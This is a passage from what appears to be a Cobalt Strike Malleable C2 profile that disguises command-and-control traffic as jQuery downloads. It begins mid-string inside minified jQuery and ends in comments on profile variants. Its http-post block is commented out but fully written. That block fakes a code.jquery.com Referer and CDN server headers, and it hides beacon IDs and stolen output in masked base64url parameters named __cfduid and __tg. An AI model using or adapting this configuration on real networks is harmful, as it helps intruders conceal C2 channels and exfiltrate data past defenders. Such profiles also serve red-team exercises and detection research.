this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } } ## Use HTTP GET for http-post section ## Uncomment this Section to activate # http-post { # set uri "/jquery-3.3.2.min.js"; # set verb "GET"; # client { # header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; # #header "Host" "code.jquery.com"; # header "Referer" "http://code.jquery.com/"; # header "Accept-Encoding" "gzip, deflate"; # id { # mask; # base64url; # parameter "__cfduid"; # } # output { # mask; # base64url; # parameter "__tg"; # } # } # server { # header "Server" "NetDNA-cache/2.2"; # header "Cache-Control" "max-age=0, no-cache"; # header "Pragma" "no-cache"; # header "Connection" "keep-alive"; # header "Content-Type" "application/javascript; charset=utf-8"; # output { # mask; # base64url; # ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # # 2nd Line # prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; # print; # } # } # } ## CS 4.0 Profile Variants ## Variants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow each HTTP or HTTPS Beacon listener tied to a single team server to have network IOCs that differ from each other. ## You may add profile "variants" by specifying additional http-get, http-post, http-stager, and https-certifcate blocks with the following syntax: ## [block name] "variant name" { ... }. Here's a variant http-get block named "My Variant": ## http-get "My Variant" { ## client { ## parameter "bar" "blah";